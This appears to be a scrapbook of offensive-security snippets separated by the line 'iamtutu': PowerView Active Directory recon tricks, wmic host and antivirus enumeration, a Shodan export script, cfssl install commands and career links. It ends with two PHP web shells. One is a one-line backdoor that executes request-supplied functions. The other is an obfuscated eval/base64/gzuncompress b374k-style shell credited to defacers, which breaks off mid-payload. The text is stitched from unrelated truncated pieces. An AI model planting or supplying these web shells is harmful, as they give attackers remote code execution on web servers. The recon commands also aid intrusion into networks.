iamtutu

function Execute-userAccountControl
{
[CmdletBinding()]
        param
        (
                [System.String]$DomainFQDN = $ENV:USERDNSDOMAIN,
                [System.String]$ComputerName = 'Pentestlab',
                [System.String]$OSVersion = '10.0 (18363)',
                [System.String]$OS = 'Windows 10 Enterprise',
                [System.String]$DNSName = "$ComputerName.$DomainFQDN",

iamtutu

source:    
    https://pkg.cfssl.org/

install:

    $ curl -s -L -o /bin/cfssl https://pkg.cfssl.org/R1.2/cfssl_linux-amd64
    $ curl -s -L -o /bin/cfssljson https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64
    $ curl -s -L -o /bin/cfssl-certinfo https://pkg.cfssl.org/R1.2/cfssl-certinfo_linux-amd64
    $ chmod +x /bin/cfssl*
    

iamtutu

# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
#   has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>

# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse

# get the effective set of users who can administer a server

iamtutu

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

iamtutu

• How to Build a Successful Information Security Career (Daniel Miessler)
  • https://danielmiessler.com/blog/build-successful-infosec-career/#gs.DtVCbbw
• The First Steps to a Career in Information Security (Errata Security - Marisa Fagan)
  • http://blog.erratasec.com/2010/04/first-steps-to-career-in-information.html#.WFrbofkrIuU
• Hiring your first Security Professional (Peerlyst - Dawid Balut)
  • https://www.peerlyst.com/posts/hiring-your-first-security-professional-dawid-balut
• How to Start a Career in Cyber security
  • https://www.concise-courses.com/security/how-to-start-your-career/
• How to Get Into Information Security (ISC^2)
• https://www.isc2.org/how-to-get-into-information-security.aspx

iamtutu

Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct

iamtutu

#!/usr/bin/env python
"""
A simple script to search Shodan and output the results as JSON-encoded banners;
each line corresponds to a single banner.

Warning: This will use up query credits because it pages through the results!

Usage: python simple-export.py <search query>
"""
# Install via "easy_install shodan"

iamtutu

import socket, os, sys

def daemonize():
    pid = os.fork()
    if pid > 0:
        sys.exit(0)   # Exit first parent
    pid = os.fork()
    if pid > 0:
        sys.exit(0)   # Exit second parent

iamtutu

<?php extract($_REQUEST); @die($ctime($atime));

iamtutu

<?php 
/* NO LEAKED NO DJANCOEX NO FUCK3R */ 
/* THIS IS PHP WEB SHELL PRIVATE OF GRUP FB D'MASTERPIECE */ 
/* CODED FIRST BY OM KETEK B374K SHELL */ 
/* RECODED BY ANDRIPZF DM5HELL PRIV9 2013 */ 
/* AMATERASU VERSION GO TO HELL */
/* HAPPY HACKING & DEFACING */
/* THX TO ALL MUSLIM HACKER, ALL INDONESIA HACKER & DEFACER */

eval(gzuncompress(base64_decode("eNrsvWl34kiyMPy55pz5D2qu72APtgViryq7W4AAsQgQYhHdfXyEFiTQhhYEzO3//mamJBC2y+VePHfOfR9Xtw25RERGRkZEZkZm/v1vV4LvqU+24LrYA5YipGxWKeSVbLmay+WLRamQK+aUXL5KFBWFqBKpL9jf/3YlWtZGk59Uy3ee5L2tOTKoSxS+oCzdciCk/wKAlGw2BRMlWRF83XsSRE+zTJCbbmq67PYFMw2yfwLZmilfp8dUr/k0JLl2+hZ7emrSPerp6QYU0JRrzPUc23Kvr57GFDul2J/TbY4bPk3AtyeyRTFc+tfbdMuyVrqcvsF+eHjAFEF3ZewG+xemyoIkO9eoBp67z2KFbAFjLA9rWr4ppW++YPJe875gv/39b/DfT67suoDMJ9cTHO8aEvCT7DiW8+TItuV4mrm6zqJUzdSeXNm7TofZurVK3zKTXu8yEyQ/oQJu+vZZPUPYA/7Jog/Z8uRphhwXAdno+5OuGZp3fU40hJUmPm19y5PdJ8c3YaEoO2YjYM+YHjCAiendfaGYvsjkaK5HwaxG/6nYlnUdZcN/kMur5xhWtnh9A7j497/96+9/U3wz7EDQGZrt6oKrgiKC4wiH6yv0B7LbkT3fMTHtec6PGPoA4NvX6ZcQAE1xyc8XCGIAqIOu